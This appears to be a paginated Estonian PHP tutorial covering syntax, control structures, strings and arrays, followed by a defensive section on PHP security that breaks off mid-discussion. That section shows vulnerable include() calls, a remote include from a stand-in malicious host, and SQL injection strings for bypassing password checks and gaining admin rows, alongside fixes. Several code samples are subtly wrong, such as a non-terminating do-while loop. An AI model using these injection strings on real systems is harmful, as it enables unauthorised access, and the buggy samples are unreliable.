You are on page 1of 25

Mis asi see on?

PHP on server-poolne HTML-i lisatud script keel.

Lühend PHP on tegelikult rekursiivne, tähistades väljendit PHP Hypertext


Preprocessor (PHP hüperteksti-eeltöötleja; siin PHP tuleb omakorda samadest
sõnadest jne). Alternatiivne tõlgendus pakub PHP Hypertext Preprocessor-lause PHP
tähenduseks PHP eelkäija Personal Home Page (tegelikult lisandus siia veel sõna
Tools) lühendit.

PHP on HTML-i lisatud (embedded) serveripõhine (erinevalt brauseripõhisest keelest


nagu Javascript) skriptikeel. Enamus keele koostisosadest on laenatud mujalt (C, Java,
Perl), kuid on ka ainult PHP-le omaseid käske. Keele eesmärgiks on kiirelt ja
dünaamiliselt genereeritavate veebilehtede loomine.

PHP käsud lisatakse harilikule HTML-veebilehele eraldi PHP-märgenditena, mis


võivad paikneda ükskõik kus veebilehe tekstis. Selles mõttes on ta Javacripti sugulane
(PHP käskude üks esituskuju sarnaneb Javascripti esitusega), kuid kui Javascripti käsk
pannakse tööle lugeja enda arvutis (veebilehitsejas ehk brauseris), siis PHP käsk
täidetakse veebiserveris ja brauserisse saadetakse vaid lõpptulemus (sarnaselt CGI-
programmidega).

PHP jooksutamiseks on vaja PHP serverit. Niisama kirjutan-koodi ja vaatan-brauseris


põhimõttel asi ei tööta. Fail tuleb uploadida serverisse(nagu nt zone.ee) ja siis sealt
brauseriga vaadata.

Mida me PHP-s teha saame? Peaaegu kõike, mida teistes CGI programmides, näiteks
koguda infot, genereerida dünaamilisi (kasutaja tegevusele vastavalt muutuvaid)
veebilehti, saata või vastu võtta "präänikuid" (cookie; veebiserveri poolt kasutaja
arvutisse salvestatav väike andmekogum, mida harilikult kasutatakse lehe olekute
meeldejätmiseks - näiteks veebikaupluse ostukorvides).

PHP suurimaks plussiks aga peetakse võimalust kirjutada väga kiirelt ja lihtsalt
andmebaasiga seotud veebilehti. PHP toetab paljusid andmebaase, tuntumatest võib
mainida dBase, MySQL, Oracle, Informix, InterBase jne. Ka oskab PHP suhelda
selliste protokollidega nagu IMAP, SNMP, NNTP, POP3 või HTTP.

PHP-faili laiendiks on kas

• .php
• vastavalt PHP versioonile .php3 või .php4
• phtml (mõned serverid)

Veidi ajaloost
PHP sai alguse aastal 1994 Rasmus Lerdorfi Perl-keele häkkimisest - algset varianti
kasutas ta oma kodulehe jälgimiseks. Esimene versioon oli tuntud Personal Home

1
Page Tools-i nime all. See sisaldas väga lihtsat käsuprotsessorit ehk mootorit (parser),
mis sai aru mõnest spetsiaalsest makrost ning töötas külalisteraamatu ja loendurina.
Mootor kirjutati 1995, aasta keskel ümber ja sai tuntuks kui PHP/FI versioon 2. FI
nimetus tuleneb Form Interpreter-i nimelisest lisapaketist, mille Rasmus kirjutas
HTML-i jaoks. Kombineerides Personal Home Page Tools-i Form Interpreter-iga ja
lisades mSQL-i toetuse oligi tulemuseks PHP/FI.

1997. aasta keskel tehti süsteemis uuendusi ja palju asju kirjutati täelikult uuesti. Nii
sündiski PHP versioon 3 (PHP3) - praegugi laialt kasutatav PHP standard.

Tänaseks kautab PHP-d juba üle miljoni veebilehe. Viimaseks standardiks on PHP
versioon 4, mis kasutab võimsat Zendi skriptimismootorit. Sellega on kasvanud PHP
töötamise kiirus. Enamasti kasutatakse PHP-d Apache'i veebiserveris, kuid pidevalt
laieneb ka teiste veebiserverite toetus. PHP töötab nii Windowsi kui Unixi ja Linuxi
keskkonnas.

Kuidas PHP töötab


PHP lehed on koostatud kolmest osast: tekst, PHP scriptid, ja HTML. Web´ilehed, mis
sisaldavad PHP scripti, on laiendiga .php. Kui klient saadab päringu mõnele sellisele
lehele, saadab server veebilehe läbi PHP scripti mootori tõlgendamiseks. See on
põhiline erinevus PHP ja teiste script keelte vahel. PHP´d tõlgendatakse serveri mitte
brauseri kaudu. Server konverteerib PHP scripti HTML keelde, ja võib hõlpsasti
kohandada lehte vastavalt kasutaja vajadustele.

2
Andmetüübid
PHP toetab järgmisi andmetüüpe:

• murdarvud (double) N: 1.234; 1.2e3


• täisarvud (integer) N: 1234; -1234
• tekstiväärtused (string) N: "Tere", "1. september"
• loogikaväärtused (bool; alates PHP4-st)
• massiivid
• objektid

Tekstiväärtused:
Nagu MySQLi puhul, kasutatakse ka PHP-s juhtsümboleid ehk eritähendusega
tekstiväärtusi. Mõned olulisemad:

• "\n" - uus rida


• "\t" - tabulatsioon (horizontal tab)
• "\\" - kurakaldkriips (backslash)
• "\$" - dollarimärk
• "\"" - jutumärk

PHP skript
PHP skripti moodustavad käsud kirjutatakse <? ja ?> märkide abil otse HTML faili,
kusjuures faili nime lõpus peab olema .php. Näiteks sellise sisuga fail php.php

<html>
<body>
<h1><? echo "Tere päevast!"; ?></h1>
<p>
<?
/* see on kommentaar mida PHP mootor ignoreerib */
echo "Mina olen PHP skritp.";
?>
</p>
</body>
</html>

on samaväärne HTML-tekstiga

<html>
<body>

3
<h1>Tere päevast!</h1>
<p>Mina olen PHP skritp.</p>
</body>
</html>

Ekraanile kuvatakse tekst

"Tere päevast!
Mina olen PHP skript."

Veebiserver asendab <? ja ?> märkide vahel asuva PHP käskude väljundiga, antud
juhul tekstiga.

Üldiselt peavad PHP käsud lõppema semikooloniga (;) nagu

echo "Tere päevast!";

kuid kui viimase käsu puhul võib semikooloni kirjutamata jätta, näiteks

echo "Mina olen PHP skritp." ?>

PHP skripti sisse saab kirjutada kommentaare eristades nad sarnaselt C keele
traditsioonile /* ja */ märkidega muust tekstist

/* see on kommentaar mida PHP mootor ignoreerib */

Samuti kommenteerib '//' välja järgneva teksti kuni rea lõpuni

echo "Tere Priit"; // siin trükitakse välja tekst "Tere Priit"

Include
<?
include "tere.html";
?>

<body>
<h1>Tere</h1>
</body>

Muutujad ja väärtuse omistamine


PHP skriptis saab kasutada arvulist ja tekstist tüüpi muutujaid, samuti massiive ning
teha nendega tehteid. Muutujat nime märgitakse alustades dollariga ($), millele järgneb
alakriips või tähemärk (a-z, A-Z) ning seejärel võib nimes sisalduda ka numbreid (0-
9). PHP eristab väikesi ja suuri tähti. Näiteks on korrektne muutuja nime märkida
selliselt

4
$kordaja_1

Muutuja tüüpi ei pea enne kasutamist defineerima, piisab muutujale väärtuse


omistamisest, mida tehakse võrdusmärgi abil. Näiteks omistame muutujaile väärtused
ja teeme mõne tehte

<?
$a = -15.5; $b= 20;
$c = $a + $b;
?>
<?
echo "$a liita $b on $c";
?>

Negatiivset arvu peab alustama -märgiga ning pealekomakohti eraldatakse


ennekomakohtadest punktiga.

Pange tähele, et <? ja ?> märkide vahel kasutatud muutujad omavad endisi väärtusi ka
siis, kui neid hiljem uuesti kasutada mõnes järgmises samas dokumendis asuvas <? ja ?
> märkide vahel olevas PHP skriptis.

<?
$d = "muinas";
$e = "jutt";
$f = $d.$e;
echo "sõnasid $d ja $e saab kokku ühendada, tulemuseks on $f";
?>

Sõnedega (ingl. k. string) tegelemisel on põhiliseks tehteks nende sobivas järjekorras


kokkuühendamine. Allpool näitame kuidas sõne osadeks lahutada jms.

Omistamisel saab kasutada

$a = 5;
$a = $a + 4;

asemel samaväärset kuid lühemat kirjaviisi

$a = 5;
$a += 4;

Muutujale saab omistada operatsioonisüsteemi käsu väljundit kasutades graaviseid.


Käsk antakse kasutaja httpd õigustes. Näiteks omistame muutujale $aeg väärtuseks
süsteemi aja

$aeg=`date`;

5
Sel moel saab kasutaja anda käske, mida ta enda õigustes teha ei saaks. Kasutaja ei
tohi veebi välja panna skripte, mille käivitame kahjustaks veebiserverit.

Aritmeetilised tehted
Aritmeetilisi tehteid

• "+, -" - liitmine ja lahtutamine


• "*, /, %" - korrutamine, jagamine ja jääk

tehakse arvväärtustega. Näiteks

<?
$a = 3.5;
$b = 2;
$korrutis = $a * $b;
echo "$a ja $b korrutis on $korrutis";
?>

Kui arvus kasutada täisarvu ja komakohtadega arvu, siis tulemus sisaldab samuti
komakohti.

Juhtstruktuurid
Skripti käigu suunamiseks kasutatakse juhtstruktuure, mis valivad järneva tegevuse
vastavalt seatud tingimustele. Tingimusi esitatakse võrdlustehete <,>, <=, >=, ==, !=
abil. Võrdlustehete tulemusi (tõene, väär) saab omakorda kombineerida loogiliste
tehete (and, or, xor, ! $a - not $a) abil.

Loogalisi sulge ({, }) kasutatakse käskude grupeerimiseks plokiks, mis täitetakse või
täidetakse korduvalt.

if
if konstruktsiooni abil saab valida kahe võimaliku tegevuse vahel sõltuvalt tingimuse
täidetusest.

if (võrdluslause)
{teeme seda}
elseif
{teeme teist}
else
{teeme kolmandat}

Võrdleme kahte arvu omavahel

if ($a > $b)

6
print "a is bigger than b";

$a = 5; $b = 6;
if ($a > $b) {
print "$a on suurem kui $b";
} else {
print "$a on väiksem või võrdne $b-ga";
}

Asja dünaamilisemaks tehes:

Kasutame funktsiooni date, millel on hirmus palju parameetreid, meie kasutame


nendest ainult "H"'i, mis näitab käesolevat tundi kahekümne nelja tunni süsteemis.

date("H")

Juhul, kui kell on näiteks 14.45 on date("H"); väärtus 14

<?php
$lause1="Teretulemast minu kodukale, ilus päev täna!";
$lause2="Teretulemast minu kodukale, ööloom sihuke :)";

if (8<=date("H") && 21>=date("H"))


echo $lause1; //ütleme esimese lause
else
echo $lause2; //ütleme teise lause
?>

Igaks juhuks vaatame veel üle if’i süntaksi:

if (8<=date("H") && 21>=date("H"))

Seda loeme niimoodi: kui 8 on väiksem või võrdne kui pregune tund JA 21 on suurem
või võrdne kui preagune tund, siis on if-lause tõene.

for
for ($i = 1; $i <= 10; $i++)
{
print $i;
}

for-konstruktsiooni abil saab täita sama plokki käske kontrollitud arv kordi kuni
tinigimus on tõene. Näiteks kirjutab skript ekraanile arvud ühest viieni

7
for ($i = 1; $i < 6; $i++)
{
echo "$i";
}

$i=$i++ on samaväärne nagu $i=$i+1.

Sama tulemuse väljastab ka selline skript

$i = 1;
for (;;) {
if ($i > 5) {
break;
}
print $i;
$i++;
}

for (;;) vastab lõpmatule kordusele kusjuures break annab käsu tulla kordusest välja.

while
While konstruktiooni puhul täidetakse plokki seni kuni tinigimus on tõene. Trükime
arvud ühest kümneni välja ka while'i abil

$i = 1;
while ($i <= 10) {
print $i++;
}

$i = 1;
while ($i <= 10):
print $i;
$i++;
endwhile;

do ... while
do ... while konstruktsioon on sarnane while'ga erinedes selle poolest, et tingimust
kontrollitakse peale ploki täitmist. Seega täidetakse plokki vähemalt üks kord. Näiteks
trükime välja arvud ühest viieni

$i = 5;
do {
print $i;

8
} while ($i>0);

foreach
foreach - konstruktsioon võimaldab mugavalt täita plokis olevaid lauseid iga massiivi
elemendi jaoks. Näiteks väärtustame viie-elemendiline massiivi $m ning trükime selle
elemendid välja

$m = array ("Jaan", "Peeter", "Marta", "Laura");


$i=1;
foreach ($m as $element) {
print $i++.". $element";
}

Mis näev välja lõplikult nii: 1. Jaan 2. Peeter 3. Marta 4. Laura

Trükkimine
Teksti ja muutujate väärtuste ekraanile trükkimiseks kasutatakse käske echo, print ja
printf. Käsud echo ja print on praktiliselt sarnased, väljatrükitav tekst tuleb kirjutada
nende järele jutumärkide (") vahele. Näiteks trükib skript välja teksti, muutuja nimed
ja nende väärtused

$a = "Mari";
$b = 5;
$c = -2;
$korrutis = $b * $c;
echo "$b korda $c on
võrdne $korrutis";
print "";
print "\$a =
$a";

Tulemus: 5 korda -2 on võrdne -10 $a = Mari

echo või print argumendiks olev tekst võib ulatud üle mitme rea tinigmusel, et viimase
lõpus on semikoolon (;). Soovides trükkida muutuja väärtuse asemel tema nime, tuleb
põgeda $ tagurpidi kladkriipsuga (\) nagu \$a.

Kasutades jutumärkide asemel ülakomasid ei asendata muutujaid nende väärtustega

$b = 5;
$c = -2;
$korrutis = $b * $c;
echo '$b korda $b on $korrutis';

9
Tulemus: $b korda $b on $korrutis

Soovides formateerida väljundit paindlikumalt tuleb kasutada käsku printf, mille


süntaks on sarnane C vastavale käsule. Näiteks teeme arvutused ja trükime välja
muutujate väärtused kahe pealekomakohaga

$b = 1.3;
print "<pre>";
while ($b < 5)
{
printf ("%3.2f%6.2f\n", $b, $b*$b++);
}
print "</pre>";

%6.2f tähendab, et trükkimisel tuleb korrutisele $b*$b++ vastav väli hoida vähemalt
kuue positsiooni laiune, millest kaks on pealekomakohad. Vaikimisi täidetakse tühjad
kohad tühikutega ja joondatakse paremale poole so tühikud sisestatakse väärtusest
vasemale. Siin on asjakohane kasutada HTMLi pre-tagi, sest muidu "sööb" brauser
tühikud ära. Tulemus

1.30 1.69
2.30 5.29
3.30 10.89
4.30 18.49

Funktsiooni defineerimine
Kasutaja saab ise lisaks olemasolevatele funktsioone juurde meisterdada. Näiteks
tekitame funktsiooni korruta(), mis vajab kahte arvulist argumenti, korrutab need
omavahel ning tagastab tulemuse.

$a = 2;
$b = 3;
$tulemus = korruta($a, $b);
print "$a * $b on võrdne $tulemus";

function korruta ($a, $b) {


$korrutis = $a * $b;
$a = 10;
$b = 15;
return $korrutis;
}

Tulemus: 2 * 3 on võrdne 6

10
Vaikimise antakse funktsioonile üle muutuja väärtus, nagu näites. St kuigi funktsiooni
sees defineeritakse $a ja $b väärtused ümber ei mõjuta see skripti muutujate $a ja $b
väärtusi. Need on siseliselt erinevad muutujad kuigi samade nimedega.

Soovides, aga funktsiooni seest muuta skripti muutujaid tuleb anda funktsioonile üle
muutuja viide. Selleks kirjutatake muutuja nime ette ampersand (&)

$a = 2;
$b = 3;
$tulemus = korruta(&$a, &$b);
print "$a * $b on võrdne $tulemus";

function korruta ($a, $b) {


$korrutis = $a * $b;
$a = 10;
$b = 15;
return $korrutis;
}

Tulemus: 10 * 15 on võrdne 6

Üldiselt peetakse puhtamaks stiiliks, kui funktsioon ei muuda skripti muutujaid, sest
nii on teinekord keerukas võimalikke vigu leida.

Operatsioonid sõnadega
PHP pakub vahendeid tegeleda sõnedega (ingl. k. string). Näiteks ühendame kokku
kaks sõnat omistades tulemuse muutujale $koos

$a = "Tere,";
$b = " mina siin";
$koos = $a.$b;
echo $koos;

Kasuga strlen saab leida sõna pikkuse tähemärkides

$sone = "Taavet ja Koljat";


$pikkus = strlen ($sone);
echo $pikkus;

Käsk strstr tagastab sõna, mille väärtuseks on tähemärgid alates leitud sõnast kuni
lõpuni, näiteks

$email = 'priit@localhost';
$domain = strstr ($email, '@');
print $domain;

11
tagastab @localhost

Sõnest eraldab osa käsk substr, näiteks eemaldame kõik peale esimese tähemärgi

$domain = "@zoo.edu.ee";
$domaininimi = substr ($domain, 1)

$domaininimi väärtuseks saab zoo.edu.ee.

Tegeldes veebivormidega kasutataks tihti sarnase struktuuriga sõnesid


"nimi=Villem&vanus=25&elukoht=Tartu+linn". Käsu parse_str abil on lihtne
omistada muutujaile vastavad väärtused

$str = "nimi=Villem &vanus=25&elukoht=Tartu+linn";


parse_str($str);
echo "$nimi";
echo "$vanus";
echo "$elukoht";

12
Massiiv
$paev = array (pühapäev,esmaspäev,
teisipäev,kolmapäev,neljapäev,
reede,laupäev);

echo $paev[date("w")];

<?
$p = array (pühapäev,esmaspäev,
teisipäev,kolmapäev,neljapäev,
reede,laupäev);

$k = array (jaanuar,veebruar,
märts,aprill,mai,juuni,juuli,
august,september,oktoober,
november,detsember);

$kuupaev = date("j");
$aasta = date("Y");
$paev = $p[date("w")];

// kuna meie massiivis vastab jaanuarile 0, date("n") funktsioonis


// aga 1, siis peame ühe lahutama:
$kuu = $k[date("n")-1];

echo
"$paev, $kuupaev. $kuu $aasta";
?>

Massiivi tüüpi muutujat märgitakse sarnaselt tavalise muutuja nimega, kuid tema
kasutamisel peab arvestama, et tegu on massiiviga. Näiteks defineerime massiivi ja
trükime välja selle elemendid

$mass = array ("Priit", "Jaan", "Memm", "Kana", "Ivo");


$a = current ($mass);
do {
print "$a
";
} while ($a = next ($mass));

funktsioon current tagastab massiivi esimese elemendi väärtuse; next järgmise


elemendi väärtuse.

Omades sõna

13
$sone = "Priit Jaan Memm Kana Ivo";

saab selle teisendada tühikute kohalt massiiviks käsuga split

$mass = split (" +", $sone);

kus " +" on regulaaravaldis. Kui tulevase massiivi elemente eraldaks üks tühiks, võiks
kasutada sarnaselt käsku explode.

$sone = "Priit Jaan Memm Kana Ivo";


$mass = explode (" ", $sone);

Vastupidiselt, massiivi saab ühendada sõneks käsuga join

$mass = array ("Priit", "Jaan", "Memm", "Kana", "Ivo");


$sone = join (":", $sone);

tulemuseks on sõna

Priit:Jaan:Memm:Kana:Ivo

Massiivi üksikute elementide poole saab pörduda indeksi abil, indekseerimine algab
nullist. Näikeks trükime üle ühe välja massiivi elementide väärtused

for ($i=0; $i < sizeof ($mass); $i+=2)


{
print "$i. $mass[$i]";
}

Funktsioon sizeof tagastab massiivi elementide arvu ning konstruktsioon $i+=2


suurendab iga kordusega muutuja $i väärtust kahe võrra. Konstruktsioon $mass[$i]
abil pöördutakse massiivi $mass $i-nda elemendi poole.

Käsk array_pop tagastab massiivi viimase elemendi väärtuse ja eemaldab ta massiivist

$mass = array ("Priit", "Jaan", "Memm", "Kana", "Ivo");


$viimane = array_pop ($mass);

Käsk array_shift tagastab massiivi esimese elemendi väärtuse ning eemaldab ta


massiivist; ülejäänud elemendid nihutatakse ühe positsiooni võrra ettepoole

$mass = array ("Priit", "Jaan", "Memm", "Kana", "Ivo");


$viimane = array_shift ($mass);

Sarnaselt lisatakse masiivi algusse ja lõppu elemente käskudega array_unshift


array_push

14
$mass = array ("Priit", "Jaan", "Memm", "Kana", "Ivo");
$elementide_uus_arv = array_unshift ($mass, "Laine", "Jaa");
$elementide_uus_arv = array_push ($mass, "Leo", "Liina");

Tulemuseks on massiiv ("Laine", "Jaa", "Priit", "Jaan", "Memm", "Kana", "Ivo",


"Leo", "Liina") kusjuures mõlemad käsud tagastavad väärtusena uue massiivi
elementide arvu.

Switch
Mida switchiga teha saab?

Üks kasutusi on jällegi faili lisamine includega. Näiteks on meil ühel lehel kaks linki:
index.php?lemmikloom=koer ja

index.php?lemmikloom=kass

Nüüd saab antud paremeetreid suurepäraselt töödelda switchga, failis index.php on


meil skript:

switch($lemmikloom)
{
case koer:
include("koerapilt.gif");
break;
case kass:
include("kassipilt.gif");
break;
default:
include("minuendapilt.gif");
}

Seletame natuke. Misasi on break? Break lõpetab switchi ahela täitmise. Kui me seda
ei paneks, leiaks switch küll õige koha, kuid ei lõpetaks tööd ja täidaks ka kõik endast
allapoole jäävad tingimused hoolimata sellest, et need tõesed ei ole. Näiteks üleval
näites, kui break'e ei oleks ja $lemmikloom=koer, siis lisatakse ka kassipilt ja
minuendapilt. Ühesõnaga - Switch lõpetab töö esimese break'i peale või lõppu jõudes.

Kui include'da pilti, siis enne seda tuleks loomulikult saata välja ka vastav header:

$head="Content-type: image/gif";
Header($head);

Siia veel niipalju, et pildi lisamiseks tuleb kogu see kood panna eraldi faili. Lihtsam
võimalus pilti lisada on asendada koodis 'include' rida:

15
echo"<img src="koer.gif">";

Aga viimase case'i asemel on default? Jah, default täidetakse, kui ükski eelnevatest
case'dest ei osutunud tõeks (või kui osutus, aga break oli puudu). Default ei ole
kohustuslik.

Muidugi võib switchi ka teisteks puhkudeks tarvitada - näiteks soovid, et iga tund
ööpäevas oleks sinu lehekülg erineva taustavärviga, siis kirjuta skript:

switch(date("H"))
{
case 10: echo"<body style=\"background: black; color white;\">"; break;
case 1: echo"<body style=\"background: green; color: white;\">"; break;
default: echo"<body style=\"background: white; color: green;\">";
}

PHP ja turvalisus
Tihtipeale kirjutatakse programmi kiirustades: tähtajad lähenevad, tööpäev saab läbi
või lihtsalt ei vaevuta muule, kui koodi funktsionaalsusele tähelepanu pöörama. Ning
ununevad kaks asja: esimene on koodi optimiseerimine. Selle saab kompenseerida
kiirema serveriga. Teine asi on programmi turvalisus - turvaauke ei kompenseeri
millegagi, olgu server nii võimas kui tahes. Järgnevalt ongi toodud mõned näpunäited
apsakate vältimiseks.

Failide avamine
Failide avamisega PHP's tuleb olla väga ettevaatlik. Ja sellel alal tehakse pahatihti
vigu(ka paljud "veebifirmade" tehtud lehed kannatavad selle haiguse all).

Kunagi ei tohi avatava faili nime edasi anda url real muutuja kaudu. Nt url:
index.php?f=kala

include($f);

Nõnda võib iga suvaline tegelane vaadata iga suvalist faili, mis sul kuskil kataloogis
leidub. Ettevaatlik tasub olla isegi siis, kui defineerid lisaks ka lühendi:

include($f.'.php');

Sest ehk on sul kogemata kuskil fail nimega mysql.php, mis sisaldab nt MySql
kasutajanime ja salasõna, mille sattumine võõrastesse kätesse on ebasoovitav.

16
Lahendus:
Switchi kasutamine:

PHP kood:

switch($f)
{
case slash:
include('slash.php');
break;
case dot:
include('dot.php');
break;
default:
include('ava.php');
}

Nõnda saab avada ainult switch tsüklis defineeritud faile.


PS! See ei puuduta ainult include()'t, vaid ka require(), fopen() jmt funktsioone.

Ära kasuta skriptide includemiseks mõeldud funktsioone URL'ide avamiseks, kui sa


pole 101% kindel, et seda muutujat keegi muuta ei saa.

PHP kood:

<?php
include($url);
?>

Tore skriptike on see niikaua, kuni $url='http://www.neti.ee'; või


$url='http://www.php.ee';. Aga hoolitse selle eest, et sinna $url muutujasse ei satuks:
$url='http://www.pahalane.ee/v2ga_kuri_skript.txt';, mis näituseks otsustab su
veebiserveri failidest tühjendada.

MySql ja muutujad
Teine turvaauk, mida esineb ka paljudes, isegi hirmuäratavalt paljudes programmides,
on see, et MySqlile söödetakse sisse kontrollimata muutujad.
Üks asi, mis on kohustuslik, on mysql käsus jutumärkide kasutamine:

$sql='select * from users where nimi="'.$nimi.'"';

Sest kui nimi juhtub olema kasutaja sisestatav muutuja, siis asi see tal oma nimeks

17
kirjutada:

kala or admin=1

Mille tulemuse tekib query:

$sql='select * from users where nimi=kala or admin=1';

Ehk valitakse ka kõik administraatorite andmed ja need siis kasutajale


kuvatakse(loodetavasti keegi tänapäeval siiski passworde tekstina ei hoia, selline asi
oleks küll lihtne ja mugav, aga mingi imepisike näpukas kuskil hoopis teises
skriptiotsas võib selle saatuslikuks turvaauguks muuta). Ja sellisel juhul ei mängi
mingit rolli see, kas addslashes() on kasutuses või mitte. Läbi läheb selline auk igal
juhul.

Addslashes() on sinu sõber!


Tõsi, tänapäeval on serveri administraatorid, kes vähegi turvalisusest hoolivad,
keeranud php konfist peale kõiksugu toredad võimalused kasutaja käest tulnud
muutujates igasuguste ohtlike märkide taandamiseks . Nt sa küll kasutad jutumärke,
aga kui ohtlikud märgid(nt jutumärgid ise) taandatud ei ole, siis liidame kokku
eeltoodud näites kasutatud query ja sellise stringi:

kala" and admin="1

...mis teeb kokku:

$sql='select * from users where nimi="kala" or admin="1"';

(terve tabeli fetchimiseks tuleks kirjutada nt or 1=1)

Simpel, huh? Näituseks insert query korral pole sugugi võimatu välja mõelda, kuidas
ennast, juhul kui eksisteerib väli 'admin', administraatoriks muuta. Või kui tõesti ei
suuda välja mõelda, siis sisselogimisel võib enda kasutajanimeks seada hoopis: "kala'
#", mis passwordi kysimise osa üldse välja kommenteerib..

select * from users where nimi="adminn" # and password="progejaOliLoll"

Aga ma kasutan ju jutumärke ja php.ini on ka niimoodi paika krutitud, et kogu


kasutaja käest tulnud info ära töödeldakse!

Järelikult sul ei ole vaja addslashes pärast üldse muretseda ja võid selle funktsiooni ära
unustada... oot! Aga siiski, oletame, et sul on query:

$query='insert into users(id, username) values(0, "'.$muutuja.'")';

18
...ning

$muutuja='kala" or id="2';

Kõik oleks nagu korras. Asi läheb korralikult läbi, mingit kasutaja poolt sissesuditud
"or" klauslit mysql ei täida.

Aga natuke hiljem võtad sa selle sama asja kuskil teises skriptiotsas lahti:

$query='select username from users where id="4"';

ning pahaaimamatult kasutad sealt saadud tulemusi uue query koostamiseks.


Loomulikult ei kasuta sa addslashes() funktsiooni, kuna tegu ei ole kasutajalt saadud
infoga ning mingit ohtu karta pole. Ja sellel samal põhjusel ei taanda ka PHP neid
muutujaid ära.

$query='select * from users where username="'.$q[0][0].'";';

Aga sinu ohutu query ei küsi andmebaasist mitte sinu oodatud:

select * from users where username="mingi ohtutu kasutajanimi";

Vaid kasutajale meelepärase:

select * from users where username="kala" or id="2";

Pahalane sai oma tahtmise, seekord suht süütukese, aga oletame, et tegemist on nüüd
hoopis passwordi muutmise skriptiga ning kasutajanimeks ei oleks mitte kala" or
id="2, vaid kala" or username="adminni_nimi_siia... Järeldused tehku igaüks ise.

Muutujate tüübid
Kui sul on teada, et muutuja peab olema numbriline, siis alati veendu selles. Üks pluss
on see, et sa saad kindel olla muutuja õiges sisus ning teine asi see, et soovi korral saad
vale sisu avastamisel alati pahalase andmed logida ning nt kiirelt omale emaili saata.

Kuidas siis muutujatüüpe kindlaks teha?

Näiteks on sul ilus ja kena number(või sa vähemasti arvad, et peab olema) muutujas
$id, siis et selles ikka kindel olla, lased ta läbi sellisest masinast:

$id=(int)$id;

Kui tahad määrata ka else klauslit juhuks, kui tegu ei ole õige asjaga(int kasutamine

19
tagastab stringi korral '0', mitte ei anna veateadet), siis uuri funktsioone is_int(),
is_bool(), is_integer(), is_numeric(), is_string(), is_array(), is_object() ja is_float().

Hoolitse selle eest, et muutujad tuleksid õigest kohast!

Kui muutujad on ette nähtud formist tulema, siis ära kasuta kuju:

$muutuja

vaid

$HTTP_POST_VARS['muutuja']

Kui form postitatakse get meetodiga, siis $HTTP_GET_VARS['muutuja'], täpselt


samuti ka kõigi teiste muutujatega:

URLi realt tulnud muutujad on samuti:


$HTTP_GET_VARS['muutuja']

sessioonimuutujad:
$HTTP_SESSION_VARS['muutuja']

cookiemuutujad:
$HTTP_COOKIE_VARS['muutuja']

Kasutades $HTTP_*_VARS perekonda saab koodi ka igale serverile porditavaks(on


servereid, kus register_globals on maha keeratud - kood peab ka seal töötama!).

Siiski, tõsine tegija saadab ka $HTTP_POST_VARS muutujad ise, kasvõi lihtlabaselt


telneti kaudu. Aga kuna pahategusid sooritavad muuhulgas ka jõnglased, kellel
pole(veel) aimu HTTP protokolli töötamisest, ei tasu $HTTP_POST_VARS'i unustada.
(PHP 4.1 asendab $HTTP_*_VARS muutujad $_* muutujatega, nt $_POST,
$_COOKIE)

Mõttetu muutujate kasutamine.

Kui vaadata suvalise PHP programmi, olgu see siis vabavara või mitte,
konfiguratsioonifaili, siis vähemalt 90% tõenäosusega avastad sa sealt suure hulga
muutujaid. Muutujaid, mida mitte keegi eales skripti sees ei muuda. Nagu ntx: mysql
andmed; vajalikud kataloogid failide lisamiseks; mingid limit'id jms andmed. Aga kui
neid muuta ei ole vaja, miks nad siis muutujad on?? Ilmselt seetõttu, et isegi paljud
kogenud programmeerijad pole harjunud kasutama konstante. Või isegi ei teata nende
olemasolust! Lihne näide neile, kes esimest korda kuulevad. Konstandi defineerimine
ja kasutamine:

PHP kood:

20
//defineerimine
define(KONSTANDINIMI, 'v22rtus');
//kasutamine
echo constant(KONSTANDINIMI);
//ka lihtsalt echo KONSTANDINIMI; töötab

...kasutades muutujate asemel konstante, ei anna me kellegile võimalust neid


pahatahtlikel eesmärkidel üle kirjutada ning jällegi üks sammuke turvalisuse
suurendamise suunas tehtud.

eval() funktsioon ei ole sinu sõber...

...kui sa teda hoole ja armastusega ei kasuta. Kuigi kindlasti on olemas olukordi, kus
on vaja eval'it kasutada, siis 90% juhtudest, mil teda kasutatakse, on täiesti mõttetud
ning sama probleemi saaks ka muudmoodi lahendada. Eriti ohtlik on olukord, kus
eval'it kasutatakse koos kasutajalt saadud andmetega. Üks levinuim olukord evali
kasutamiseks on ühe muutuja nimetamine teise muutuja väärtuse järgi(ehk muutuja
muutuja). Nt on meil muutuja:

$i='kala';

..ja tahame tekitada muutuja $i väärtuse järgi muutuja 'kala', aga me ei saa seda
niisama teha, kuna $i väärtus muutub iga kord. Selle asemel, et kasutada eval'it, tuleb
lihtsalt kasutada kõige lihtsamaid muutuja muutujaid:

PHP kood:

$$i='v22rtus';

Selle tulemusena saame skripti(juhul, kui $i==kala) muutuja $kala='v22rtus'; Evalit


kasutades tuleb seal sees kasutatavad muutujad alati hoolikalt üle kontrollida!
Lisaks eval'ile on veel üks programmidegrupp, mille kasutamisse peab suhtuma väga
suure ettevaatusega. Need on serveris programmide käivitamiseks mõeldud
funktsioonid.

Logimissüsteemid ja salasõnaga kaitstud lehed

Olles eelnevad vead koodist kõrvaldanud, tuleks natukene mõelda ka programmi


disainist tulenevatele vigadele, mis ei ole seotud mingi konkreetse koodireaga. Ja
kõige tavalisem selline viga ongi kasutajatuvastamissüsteemi vale ülesehitus või valed
vahendid selle ehitamiseks.

21
Cookie kui andmete hoidja.

Kui te kasutate küpsiseid kasutajatesüsteemi ehitamiseks, siis


1) lisage lehele märkus, et seda mõtet ei ole te saanud minu käest :)
2) arvestage, et see on kõige ebaturvalisem viis

Miks?

1) Cookie ise on kriitiliste andmete hoidmiseks ebaturvaline


2) Pahatihti ehitatakse selline süsteem valesti ülesse:
-kontrollitakse kasutaja sisestatud andmeid ning selle asemel, et igal lehe laadimisel
passwordi ja salasõna kontrollida, salvestatakse kasutaja arvutisse cookie nimega
'logged' ja väärtusega '1' või 'logged' vms ning hiljem kontrollitakse ainult selle
olemasolu. Samas kuna cookie on kasutaja poolt sinule antud info, siis võib kasutaja,
oskuste olemasolul, seda lihtsalt võltsida ja pääseb vaevata sinu kaitstud keskkonda.

Aga cookie'dest märksa mõttekam on kasutada sessioone.


1) Nad on turvalisemad
2) Mina soovitan neid cookiede asemel :)

Turvalisemad on nad seetõttu, et sessiooni andmeid säilitatakse serveris, kasutaja käes


on kõigest sessiooni nimi, mille alusel talle andmeid jagatakse. Kuigi oskusliku
programmeerimise korral võib teha ka süsteemi, kus säilitatakse muutujat logged=1,
siis mina ise kasutan igakordset kasutajanime ja passwordi võrdlemist andmebaasis
oleva info vastu. Miks?

